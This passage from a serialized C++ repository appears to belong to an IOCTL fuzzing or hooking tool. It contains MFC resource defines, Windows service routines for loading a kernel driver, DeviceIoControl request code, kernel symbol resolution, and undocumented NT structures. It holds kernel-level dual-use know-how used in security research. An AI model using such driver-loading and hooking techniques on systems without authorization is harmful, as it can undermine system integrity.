AFX_IDP_SQL_INCORRECT_ODBC 0xF297\n#define AFX_IDP_SQL_UPDATE_DELETE_FAILED 0xF298\n#define AFX_IDP_SQL_DYNAMIC_CURSOR_NOT_SUPPORTED 0xF299\n#define AFX_IDP_SQL_FIELD_NOT_FOUND 0xF29A\n#define AFX_IDP_SQL_BOOKMARKS_NOT_SUPPORTED 0xF29B\n#define AFX_IDP_SQL_BOOKMARKS_NOT_ENABLED 0xF29C\n#define AFX_IDS_DELETED 0xF29D\n#define AFX_IDP_DAO_ENGINE_INITIALIZATION 0xF2B0\n#define AFX_IDP_DAO_DFX_BIND 0xF2B1\n#define AFX_IDP_DAO_OBJECT_NOT_OPEN 0xF2B2\n#define AFX_IDP_DAO_ROWTOOSHORT 0xF2B3\n#define AFX_IDP_DAO_BADBINDINFO 0xF2B4\n#define AFX_IDP_DAO_COLUMNUNAVAILABLE 0xF2B5\n#define AFX_IDS_HTTP_TITLE 0xF2D1\n#define AFX_IDS_HTTP_NO_TEXT 0xF2D2\n#define AFX_IDS_HTTP_BAD_REQUEST 0xF2D3\n#define AFX_IDS_HTTP_AUTH_REQUIRED 0xF2D4\n#define AFX_IDS_HTTP_FORBIDDEN 0xF2D5\n#define AFX_IDS_HTTP_NOT_FOUND 0xF2D6\n#define AFX_IDS_HTTP_SERVER_ERROR 0xF2D7\n#define AFX_IDS_HTTP_NOT_IMPLEMENTED 0xF2D8\n#define AFX_IDS_CHECKLISTBOX_UNCHECK 0xF2E1\n#define AFX_IDS_CHECKLISTBOX_CHECK 0xF2E2\n#define AFX_IDS_CHECKLISTBOX_MIXED 0xF2E3\n#define AFX_IDS_PROPPAGE_UNKNOWN 0xFE01\n#define AFX_IDS_COLOR_DESKTOP 0xFE04\n#define AFX_IDS_COLOR_APPWORKSPACE 0xFE05\n#define AFX_IDS_COLOR_WNDBACKGND 0xFE06\n#define AFX_IDS_COLOR_WNDTEXT 0xFE07\n#define AFX_IDS_COLOR_MENUBAR 0xFE08\n#define AFX_IDS_COLOR_MENUTEXT 0xFE09\n#define AFX_IDS_COLOR_ACTIVEBAR 0xFE0A\n#define AFX_IDS_COLOR_INACTIVEBAR 0xFE0B\n#define AFX_IDS_COLOR_ACTIVETEXT 0xFE0C\n#define AFX_IDS_COLOR_INACTIVETEXT 0xFE0D\n#define AFX_IDS_COLOR_ACTIVEBORDER 0xFE0E\n#define AFX_IDS_COLOR_INACTIVEBORDER 0xFE0F\n#define AFX_IDS_COLOR_WNDFRAME 0xFE10\n#define AFX_IDS_COLOR_SCROLLBARS 0xFE11\n#define AFX_IDS_COLOR_BTNFACE 0xFE12\n#define AFX_IDS_COLOR_BTNSHADOW 0xFE13\n#define AFX_IDS_COLOR_BTNTEXT 0xFE14\n#define AFX_IDS_COLOR_BTNHIGHLIGHT 0xFE15\n#define AFX_IDS_COLOR_DISABLEDTEXT 0xFE16\n#define AFX_IDS_COLOR_HIGHLIGHT 0xFE17\n#define AFX_IDS_COLOR_HIGHLIGHTTEXT 0xFE18\n#define AFX_IDS_REGULAR 0xFE19\n#define AFX_IDS_BOLD 0xFE1A\n#define AFX_IDS_ITALIC 0xFE1B\n#define AFX_IDS_BOLDITALIC 0xFE1C\n#define AFX_IDS_SAMPLETEXT 0xFE1D\n#define AFX_IDS_DISPLAYSTRING_FONT 0xFE1E\n#define AFX_IDS_DISPLAYSTRING_COLOR 0xFE1F\n#define AFX_IDS_DISPLAYSTRING_PICTURE 0xFE20\n#define AFX_IDS_PICTUREFILTER 0xFE21\n#define AFX_IDS_PICTYPE_UNKNOWN 0xFE22\n#define AFX_IDS_PICTYPE_NONE 0xFE23\n#define AFX_IDS_PICTYPE_BITMAP 0xFE24\n#define AFX_IDS_PICTYPE_METAFILE 0xFE25\n#define AFX_IDS_PICTYPE_ICON 0xFE26\n#define AFX_IDS_COLOR_PPG 0xFE28\n#define AFX_IDS_COLOR_PPG_CAPTION 0xFE29\n#define AFX_IDS_FONT_PPG 0xFE2A\n#define AFX_IDS_FONT_PPG_CAPTION 0xFE2B\n#define AFX_IDS_PICTURE_PPG 0xFE2C\n#define AFX_IDS_PICTURE_PPG_CAPTION 0xFE2D\n#define AFX_IDS_PICTUREBROWSETITLE 0xFE30\n#define AFX_IDS_BORDERSTYLE_0 0xFE31\n#define AFX_IDS_BORDERSTYLE_1 0xFE32\n#define AFX_IDS_VERB_EDIT 0xFE40\n#define AFX_IDS_VERB_PROPERTIES 0xFE41\n#define AFX_IDP_PICTURECANTOPEN 0xFE83\n#define AFX_IDP_PICTURECANTLOAD 0xFE84\n#define AFX_IDP_PICTURETOOLARGE 0xFE85\n#define AFX_IDP_PICTUREREADFAILED 0xFE86\n#define AFX_IDP_E_ILLEGALFUNCTIONCALL 0xFEA0\n#define AFX_IDP_E_OVERFLOW 0xFEA1\n#define AFX_IDP_E_OUTOFMEMORY 0xFEA2\n#define AFX_IDP_E_DIVISIONBYZERO 0xFEA3\n#define AFX_IDP_E_OUTOFSTRINGSPACE 0xFEA4\n#define AFX_IDP_E_OUTOFSTACKSPACE 0xFEA5\n#define AFX_IDP_E_BADFILENAMEORNUMBER 0xFEA6\n#define AFX_IDP_E_FILENOTFOUND 0xFEA7\n#define AFX_IDP_E_BADFILEMODE 0xFEA8\n#define AFX_IDP_E_FILEALREADYOPEN 0xFEA9\n#define AFX_IDP_E_DEVICEIOERROR 0xFEAA\n#define AFX_IDP_E_FILEALREADYEXISTS 0xFEAB\n#define AFX_IDP_E_BADRECORDLENGTH 0xFEAC\n#define AFX_IDP_E_DISKFULL 0xFEAD\n#define AFX_IDP_E_BADRECORDNUMBER 0xFEAE\n#define AFX_IDP_E_BADFILENAME 0xFEAF\n#define AFX_IDP_E_TOOMANYFILES 0xFEB0\n#define AFX_IDP_E_DEVICEUNAVAILABLE 0xFEB1\n#define AFX_IDP_E_PERMISSIONDENIED 0xFEB2\n#define AFX_IDP_E_DISKNOTREADY 0xFEB3\n#define AFX_IDP_E_PATHFILEACCESSERROR 0xFEB4\n#define AFX_IDP_E_PATHNOTFOUND 0xFEB5\n#define AFX_IDP_E_INVALIDPATTERNSTRING 0xFEB6\n#define AFX_IDP_E_INVALIDUSEOFNULL 0xFEB7\n#define AFX_IDP_E_INVALIDFILEFORMAT 0xFEB8\n#define AFX_IDP_E_INVALIDPROPERTYVALUE 0xFEB9\n#define AFX_IDP_E_INVALIDPROPERTYARRAYINDEX 0xFEBA\n#define AFX_IDP_E_SETNOTSUPPORTEDATRUNTIME 0xFEBB\n#define AFX_IDP_E_SETNOTSUPPORTED 0xFEBC\n#define AFX_IDP_E_NEEDPROPERTYARRAYINDEX 0xFEBD\n#define AFX_IDP_E_SETNOTPERMITTED 0xFEBE\n#define AFX_IDP_E_GETNOTSUPPORTEDATRUNTIME 0xFEBF\n#define AFX_IDP_E_GETNOTSUPPORTED 0xFEC0\n#define AFX_IDP_E_PROPERTYNOTFOUND 0xFEC1\n#define AFX_IDP_E_INVALIDCLIPBOARDFORMAT 0xFEC2\n#define AFX_IDP_E_INVALIDPICTURE 0xFEC3\n#define AFX_IDP_E_PRINTERERROR 0xFEC4\n#define AFX_IDP_E_CANTSAVEFILETOTEMP 0xFEC5\n#define AFX_IDP_E_SEARCHTEXTNOTFOUND 0xFEC6\n#define AFX_IDP_E_REPLACEMENTSTOOLONG 0xFEC7\n\n// Next default values for new objects\n// \n#ifdef APSTUDIO_INVOKED\n#ifndef APSTUDIO_READONLY_SYMBOLS\n#define _APS_NEXT_RESOURCE_VALUE 102\n#define _APS_NEXT_COMMAND_VALUE 40001\n#define _APS_NEXT_CONTROL_VALUE 1011\n#define _APS_NEXT_SYMED_VALUE 101\n#endif\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.cpp", "content": "#include \"stdafx.h\"\n\n// defined if ioctlfuzzer.cpp\nextern HANDLE hDevice;\n//--------------------------------------------------------------------------------------\nBOOL DrvOpenDevice(PWSTR DriverName, HANDLE *lphDevice)\n{\n WCHAR DeviceName[MAX_PATH];\n HANDLE hDevice = NULL;\n\n if ((GetVersion() & 0xFF) >= 5) \n {\n wcscpy(DeviceName, L\"\\\\\\\\.\\\\Global\\\\\");\n } \n else \n {\n wcscpy(DeviceName, L\"\\\\\\\\.\\\\\");\n }\n\n wcscat(DeviceName, DriverName);\n\n DbgMsg(__FILE__, __LINE__, \"Opening '%ws'...\\n\", DeviceName);\n\n hDevice = CreateFileW(\n DeviceName, \n GENERIC_READ | GENERIC_WRITE, \n 0, NULL, \n OPEN_EXISTING, \n 0, NULL\n );\n if (hDevice == INVALID_HANDLE_VALUE)\n {\n DbgMsg(__FILE__, __LINE__, \"CreateFile() ERROR %d\\n\", GetLastError());\n return FALSE;\n }\n\n *lphDevice = hDevice;\n\n return TRUE;\n}\n//--------------------------------------------------------------------------------------\nBOOL DrvDeviceRequest(PREQUEST_BUFFER Request, DWORD dwRequestSize)\n{\n BOOL bRet = FALSE;\n\n if (hDevice == NULL)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__ \"() ERROR: Invalid device handle\\n\"); \n return FALSE;\n }\n\n PREQUEST_BUFFER Response = (PREQUEST_BUFFER)M_ALLOC(dwRequestSize);\n if (Response)\n {\n DWORD dwBytes = 0;\n ZeroMemory(Response, dwRequestSize);\n\n // send request to driver\n if (DeviceIoControl(\n hDevice, \n IOCTL_DRV_CONTROL, \n Request, \n dwRequestSize, \n Response, \n dwRequestSize, \n &dwBytes, NULL))\n { \n\n#ifdef DBG_IO\n \n DbgMsg(\n __FILE__, __LINE__, \n __FUNCTION__ \"() %d bytes returned; status 0x%.8x\\n\", \n dwBytes, Response->Status\n );\n#endif\n memcpy(Request, Response, dwRequestSize);\n\n bRet = TRUE;\n }\t\n else\n {\n DbgMsg(__FILE__, __LINE__, \"DeviceIoControl() ERROR %d\\n\", GetLastError());\n }\n\n M_FREE(Response);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", GetLastError());\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOL DrvServiceStart(char *lpszServiceName, char *lpszPath, PBOOL bAllreadyStarted)\n{\n BOOL bRet = FALSE;\n SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\n if (hScm)\n {\n DbgMsg(__FILE__, __LINE__, \"Creating service...\\n\");\n\n // create service for kernel-mod driver\n SC_HANDLE hService = CreateService(\n hScm, \n lpszServiceName, \n lpszServiceName, \n SERVICE_START | DELETE | SERVICE_STOP, \n SERVICE_KERNEL_DRIVER, \n SERVICE_DEMAND_START, \n SERVICE_ERROR_IGNORE, \n lpszPath, \n NULL, NULL, NULL, NULL, NULL\n );\n if (hService == NULL)\n {\n if (GetLastError() == ERROR_SERVICE_EXISTS)\n {\n // open existing service\n if (hService = OpenService(hScm, lpszServiceName, SERVICE_START | DELETE | SERVICE_STOP))\n {\n DbgMsg(__FILE__, __LINE__, \"Allready exists\\n\");\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenService() ERROR %d\\n\", GetLastError());\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"CreateService() ERROR %d\\n\", GetLastError());\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OK\\n\");\n }\n\n if (hService)\n { \n DbgMsg(__FILE__, __LINE__, \"Starting service...\\n\");\n\n // start service\n if (StartService(hService, 0, NULL))\n {\n DbgMsg(__FILE__, __LINE__, \"OK\\n\"); \n bRet = TRUE;\n }\n else\n {\n if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)\n {\n // service is allready started\n DbgMsg(__FILE__, __LINE__, \"Allready running\\n\");\n\n if (bAllreadyStarted)\n {\n *bAllreadyStarted = TRUE;\n }\n\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"StartService() ERROR %d\\n\", GetLastError());\n } \n } \n\n CloseServiceHandle(hService);\n }\n\n CloseServiceHandle(hScm);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenSCManager() ERROR %d\\n\", GetLastError());\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOL DrvServiceStop(char *lpszServiceName)\n{\n BOOL bRet = FALSE;\n\n SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\n if (hScm)\n {\n DbgMsg(__FILE__, __LINE__, \"Opening service...\\n\");\n\n // open existing service\n SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS);\n if (hService)\n {\n SERVICE_STATUS Status;\n\n DbgMsg(__FILE__, __LINE__, \"OK\\n\");\n DbgMsg(__FILE__, __LINE__, \"Stopping service...\\n\");\n \n // stop service\n if (ControlService(hService, SERVICE_CONTROL_STOP, &Status))\n {\n DbgMsg(__FILE__, __LINE__, \"OK\\n\");\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ControlService() ERROR %d\\n\", GetLastError()); \n }\n\n CloseServiceHandle(hService);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenService() ERROR %d\\n\", GetLastError());\n }\n\n CloseServiceHandle(hScm);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenSCManager() ERROR %d\\n\", GetLastError());\n\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOL DrvServiceRemove(char *lpszServiceName)\n{\n BOOL bRet = FALSE;\n\n SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\n if (hScm)\n {\n DbgMsg(__FILE__, __LINE__, \"Opening service...\\n\");\n\n // open existing service\n SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS);\n if (hService)\n {\n SERVICE_STATUS Status;\n\n DbgMsg(__FILE__, __LINE__, \"OK\\n\");\n DbgMsg(__FILE__, __LINE__, \"Deleting service...\\n\");\n\n // delete service\n if (DeleteService(hService))\n {\n DbgMsg(__FILE__, __LINE__, \"OK\\n\");\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"DeleteService() ERROR %d\\n\", GetLastError()); \n }\n\n CloseServiceHandle(hService);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenService() ERROR %d\\n\", GetLastError());\n }\n\n CloseServiceHandle(hScm);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenSCManager() ERROR %d\\n\", GetLastError());\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nDWORD DrvServiceGetStartType(char *lpszServiceName)\n{\n DWORD dwRet = (DWORD)-1;\n\n SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\n if (hScm)\n {\n // open existing service\n SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS);\n if (hService)\n {\n DWORD dwBytesNeeded = 0;\n char szBuff[0x1000];\n ZeroMemory(&szBuff, sizeof(szBuff));\n\n LPQUERY_SERVICE_CONFIG Config = (LPQUERY_SERVICE_CONFIG)&szBuff; \n\n // query service configuration\n if (QueryServiceConfig(hService, Config, sizeof(szBuff), &dwBytesNeeded)) \n {\n dwRet = Config->dwStartType;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"QueryServiceConfig() ERROR %d\\n\", GetLastError());\n }\n\n CloseServiceHandle(hService);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenService() ERROR %d\\n\", GetLastError());\n }\n\n CloseServiceHandle(hScm);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenSCManager() ERROR %d\\n\", GetLastError());\n\n }\n\n return dwRet;\n}\n//--------------------------------------------------------------------------------------\nBOOL DrvServiceSetStartType(char *lpszServiceName, DWORD dwStartType)\n{\n BOOL bRet = FALSE;\n\n SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\n if (hScm)\n {\n // open existing service\n SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS);\n if (hService)\n { \n // set new service configuration\n bRet = ChangeServiceConfig(\n hService,\n SERVICE_NO_CHANGE,\n dwStartType,\n SERVICE_NO_CHANGE,\n NULL, \n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL\n );\n if (!bRet)\n {\n DbgMsg(__FILE__, __LINE__, \"ChangeServiceConfig() ERROR %d\\n\", GetLastError());\n } \n\n CloseServiceHandle(hService);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenService() ERROR %d\\n\", GetLastError());\n }\n\n CloseServiceHandle(hScm);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"OpenSCManager() ERROR %d\\n\", GetLastError());\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.h", "content": "BOOL DrvOpenDevice(PWSTR DriverName, HANDLE *lphDevice);\nBOOL DrvDeviceRequest(PREQUEST_BUFFER Request, DWORD dwRequestSize);\nBOOL DrvServiceStart(char *lpszServiceName, char *lpszPath, PBOOL bAllreadyStarted);\nBOOL DrvServiceStop(char *lpszServiceName);\nBOOL DrvServiceRemove(char *lpszServiceName);\nDWORD DrvServiceGetStartType(char *lpszServiceName);\nBOOL DrvServiceSetStartType(char *lpszServiceName, DWORD dwStartType);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/stdafx.h", "content": "#define _WIN32_WINNT 0x0501\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \"TlHelp32.h\"\n#include \"dbgsdk/inc/dbghelp.h\"\n\n#include \n#include \n#include \n#include \n\n#include \"resource.h\"\n\n#include \"ntdll_defs.h\"\n#include \"undocnt.h\"\n\n#include \"options.h\"\n#include \"drvcomm.h\"\n\n#include \"common.h\"\n#include \"debug.h\"\n#include \"service.h\"\n#include \"xml.h\"\n#include \"analyzer.h\"\n#include \"symbols.h\"\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/symbols.cpp", "content": "#include \"stdafx.h\"\n//--------------------------------------------------------------------------------------\nBOOL GetNormalizedSymbolName(char *lpszName, char *lpszNormalizedName, int NameLen)\n{\n int StrLen;\n char *lpszStr = lpszName;\n\n if (!strncmp(lpszName, \"??\", min(lstrlen(lpszName), 2)) ||\n !strncmp(lpszName, \"__imp__\", min(lstrlen(lpszName), 7)))\n {\n if (NameLen > lstrlen(lpszName))\n {\n strcpy(lpszNormalizedName, lpszName);\n return TRUE;\n }\n\n return FALSE;\n }\n\n if (*lpszStr == '_' || *lpszStr == '@')\n {\n lpszStr++;\n }\n\n for (StrLen = 0; StrLen < lstrlen(lpszStr); StrLen++)\n {\n if (lpszStr[StrLen] == '@')\n {\n break;\n }\n }\n\n if (NameLen > StrLen)\n {\n strncpy(lpszNormalizedName, lpszStr, StrLen);\n lpszNormalizedName[StrLen] = 0;\n return TRUE;\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\ntypedef struct _ENUM_SYM_PARAM\n{\n ULONGLONG Address;\n char *lpszName;\n\n} ENUM_SYM_PARAM,\n*PENUM_SYM_PARAM;\n\nBOOL CALLBACK EnumSymbolsProc(\n PSYMBOL_INFO pSymInfo,\n ULONG SymbolSize,\n PVOID UserContext)\n{\n PENUM_SYM_PARAM Param = (PENUM_SYM_PARAM)UserContext;\n char szName[0x100];\n\n if (GetNormalizedSymbolName(pSymInfo->Name, szName, sizeof(szName)))\n {\n if (!lstrcmp(szName, Param->lpszName))\n {\n Param->Address = (ULONGLONG)pSymInfo->Address;\n return FALSE;\n } \n }\n \n return TRUE;\n}\n//--------------------------------------------------------------------------------------\nULONGLONG GetSymbolByName(char *lpszModuleName, HMODULE hModule, char *lpszName)\n{\n ULONGLONG Ret = 0;\n\n // try to load debug symbols for module\n if (SymLoadModuleEx(GetCurrentProcess(), NULL, lpszModuleName, NULL, (DWORD64)hModule, 0, NULL, 0))\n {\n ENUM_SYM_PARAM Param;\n\n Param.Address = NULL;\n Param.lpszName = lpszName;\n\n // get specified symbol address by name\n if (!SymEnumSymbols(\n GetCurrentProcess(),\n (DWORD64)hModule,\n NULL,\n EnumSymbolsProc,\n &Param))\n { \n DbgMsg(__FILE__, __LINE__, \"SymEnumSymbols() ERROR %d\\n\", GetLastError());\n }\n\n if (Param.Address == NULL)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Can't locate symbol\\n\");\n }\n else\n {\n Ret = Param.Address;\n }\n\n // unload symbols\n SymUnloadModule64(GetCurrentProcess(), (DWORD64)hModule);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"SymLoadModuleEx() ERROR %d\\n\", GetLastError());\n }\n\n return Ret;\n}\n//--------------------------------------------------------------------------------------\nDWORD GetKernelSymbolOffset(char *lpszSymbolName)\n{\n DWORD Ret = 0;\n\n // get system modules information\n PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSysInf(SystemModuleInformation);\n if (Info)\n {\n char *lpszKernelName = (char *)Info->Modules[0].FullPathName + Info->Modules[0].OffsetToFileName;\n char szKernelPath[MAX_PATH];\n\n // get full kernel image path\n GetSystemDirectory(szKernelPath, MAX_PATH);\n lstrcat(szKernelPath, \"\\\\\");\n lstrcat(szKernelPath, lpszKernelName);\n\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Using kernel binary '%s'\\r\\n\", szKernelPath);\n\n // load kernel module\n HMODULE hModule = LoadLibraryEx(szKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES);\n if (hModule)\n {\n // get symbol offset\n LARGE_INTEGER Addr;\n Addr.QuadPart = GetSymbolByName(szKernelPath, hModule, lpszSymbolName);\n if (Addr.QuadPart > 0)\n {\n Addr.QuadPart -= (ULONGLONG)hModule;\n Ret = Addr.LowPart;\n } \n\n FreeLibrary(hModule);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"LoadLibraryEx() ERROR %d\\r\\n\", GetLastError());\n }\n\n M_FREE(Info);\n }\n\n return Ret;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/symbols.h", "content": "\nDWORD GetKernelSymbolOffset(char *lpszSymbolName);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/undocnt.h", "content": "\n/************************************************************/\n/* */ \n/* Some structures for native API functions */\n/* */\n/************************************************************/\n\ntypedef enum _SYSTEM_INFORMATION_CLASS \n{\n SystemBasicInformation,\n SystemProcessorInformation, // obsolete...delete\n SystemPerformanceInformation,\n SystemTimeOfDayInformation,\n SystemPathInformation,\n SystemProcessInformation,\n SystemCallCountInformation,\n SystemDeviceInformation,\n SystemProcessorPerformanceInformation,\n SystemFlagsInformation,\n SystemCallTimeInformation,\n SystemModuleInformation,\n SystemLocksInformation,\n SystemStackTraceInformation,\n SystemPagedPoolInformation,\n SystemNonPagedPoolInformation,\n SystemHandleInformation,\n SystemObjectInformation,\n SystemPageFileInformation,\n SystemVdmInstemulInformation,\n SystemVdmBopInformation,\n SystemFileCacheInformation,\n SystemPoolTagInformation,\n SystemInterruptInformation,\n SystemDpcBehaviorInformation,\n SystemFullMemoryInformation,\n SystemLoadGdiDriverInformation,\n SystemUnloadGdiDriverInformation,\n SystemTimeAdjustmentInformation,\n SystemSummaryMemoryInformation,\n SystemMirrorMemoryInformation,\n SystemPerformanceTraceInformation,\n SystemObsolete0,\n SystemExceptionInformation,\n SystemCrashDumpStateInformation,\n SystemKernelDebuggerInformation,\n SystemContextSwitchInformation,\n SystemRegistryQuotaInformation,\n SystemExtendServiceTableInformation,\n SystemPrioritySeperation,\n SystemVerifierAddDriverInformation,\n SystemVerifierRemoveDriverInformation,\n SystemProcessorIdleInformation,\n SystemLegacyDriverInformation,\n SystemCurrentTimeZoneInformation,\n SystemLookasideInformation,\n SystemTimeSlipNotification,\n SystemSessionCreate,\n SystemSessionDetach,\n SystemSessionInformation,\n SystemRangeStartInformation,\n SystemVerifierInformation,\n SystemVerifierThunkExtend,\n SystemSessionProcessInformation,\n SystemLoadGdiDriverInSystemSpace,\n SystemNumaProcessorMap,\n SystemPrefetcherInformation,\n SystemExtendedProcessInformation,\n SystemRecommendedSharedDataAlignment,\n SystemComPlusPackage,\n SystemNumaAvailableMemory,\n SystemProcessorPowerInformation,\n SystemEmulationBasicInformation,\n SystemEmulationProcessorInformation,\n SystemExtendedHandleInformation,\n SystemLostDelayedWriteInformation,\n SystemBigPoolInformation,\n SystemSessionPoolTagInformation,\n SystemSessionMappedViewInformation,\n SystemHotpatchInformation,\n SystemObjectSecurityMode,\n SystemWatchdogTimerHandler,\n SystemWatchdogTimerInformation,\n SystemLogicalProcessorInformation,\n SystemWow64SharedInformation,\n SystemRegisterFirmwareTableInformationHandler,\n SystemFirmwareTableInformation,\n SystemModuleInformationEx,\n SystemVerifierTriageInformation,\n SystemSuperfetchInformation,\n SystemMemoryListInformation,\n SystemFileCacheInformationEx,\n MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum\n\n} SYSTEM_INFORMATION_CLASS;\n\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION \n{\n HANDLE Section; // Not filled in\n PVOID MappedBase;\n PVOID ImageBase;\n ULONG ImageSize;\n ULONG Flags;\n USHORT LoadOrderIndex;\n USHORT InitOrderIndex;\n USHORT LoadCount;\n USHORT OffsetToFileName;\n UCHAR FullPathName[ 256 ];\n\n} RTL_PROCESS_MODULE_INFORMATION, \n*PRTL_PROCESS_MODULE_INFORMATION;\n\ntypedef struct _RTL_PROCESS_MODULES \n{\n ULONG NumberOfModules;\n RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];\n\n} RTL_PROCESS_MODULES, \n*PRTL_PROCESS_MODULES;\n\ntypedef enum _SHUTDOWN_ACTION \n{\n ShutdownNoReboot,\n ShutdownReboot,\n ShutdownPowerOff\n\n} SHUTDOWN_ACTION, \n*PSHUTDOWN_ACTION;\n\ntypedef struct _DIRECTORY_BASIC_INFORMATION \n{\n UNICODE_STRING ObjectName;\n UNICODE_STRING ObjectTypeName;\n\n} DIRECTORY_BASIC_INFORMATION, \n*PDIRECTORY_BASIC_INFORMATION;\n\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO \n{\n USHORT UniqueProcessId;\n USHORT CreatorBackTraceIndex;\n UCHAR ObjectTypeIndex;\n UCHAR HandleAttributes;\n USHORT HandleValue;\n PVOID Object;\n ULONG GrantedAccess;\n\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO, \n*PSYSTEM_HANDLE_TABLE_ENTRY_INFO;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION \n{\n ULONG NumberOfHandles;\n SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];\n\n} SYSTEM_HANDLE_INFORMATION, \n*PSYSTEM_HANDLE_INFORMATION;\n\ntypedef enum _FILE_INFORMATION_CLASS \n{\n FileDirectoryInformation = 1,\n FileFullDirectoryInformation, // 2\n FileBothDirectoryInformation, // 3\n FileBasicInformation, // 4 wdm\n FileStandardInformation, // 5 wdm\n FileInternalInformation, // 6\n FileEaInformation, // 7\n FileAccessInformation, // 8\n FileNameInformation, // 9\n FileRenameInformation, // 10\n FileLinkInformation, // 11\n FileNamesInformation, // 12\n FileDispositionInformation, // 13\n FilePositionInformation, // 14 wdm\n FileFullEaInformation, // 15\n FileModeInformation, // 16\n FileAlignmentInformation, // 17\n FileAllInformation, // 18\n FileAllocationInformation, // 19\n FileEndOfFileInformation, // 20 wdm\n FileAlternateNameInformation, // 21\n FileStreamInformation, // 22\n FilePipeInformation, // 23\n FilePipeLocalInformation, // 24\n FilePipeRemoteInformation, // 25\n FileMailslotQueryInformation, // 26\n FileMailslotSetInformation, // 27\n FileCompressionInformation, // 28\n FileObjectIdInformation, // 29\n FileCompletionInformation, // 30\n FileMoveClusterInformation, // 31\n FileQuotaInformation, // 32\n FileReparsePointInformation, // 33\n FileNetworkOpenInformation, // 34\n FileAttributeTagInformation, // 35\n FileTrackingInformation, // 36\n FileIdBothDirectoryInformation, // 37\n FileIdFullDirectoryInformation, // 38\n FileValidDataLengthInformation, // 39\n FileShortNameInformation, // 40\n FileMaximumInformation\n\n} FILE_INFORMATION_CLASS, \n*PFILE_INFORMATION_CLASS;\n\ntypedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION \n{\n BOOLEAN DebuggerEnabled;\n BOOLEAN DebuggerNotPresent;\n\n} SYSTEM_KERNEL_DEBUGGER_INFORMATION, \n*PSYSTEM_KERNEL_DEBUGGER_INFORMATION; \n\ntypedef struct _FILE_NAME_INFORMATION \n{\n ULONG FileNameLength;\n WCHAR FileName[1];\n\n} FILE_NAME_INFORMATION, \n*PFILE_NAME_INFORMATION;\n\n\n/************************************************************/\n/* */ \n/* Prototypes for native API functions */\n/* */\n/************************************************************/\n\ntypedef NTSTATUS (WINAPI * func_NtQuerySystemInformation)(\n SYSTEM_INFORMATION_CLASS SystemInformationClass,\n PVOID SystemInformation,\n ULONG SystemInformationLength,\n PULONG ReturnLength\n);\n\ntypedef NTSTATUS (WINAPI * func_NtOpenFile)(\n PHANDLE FileHandle,\n ACCESS_MASK DesiredAccess,\n POBJECT_ATTRIBUTES ObjectAttributes,\n PIO_STATUS_BLOCK 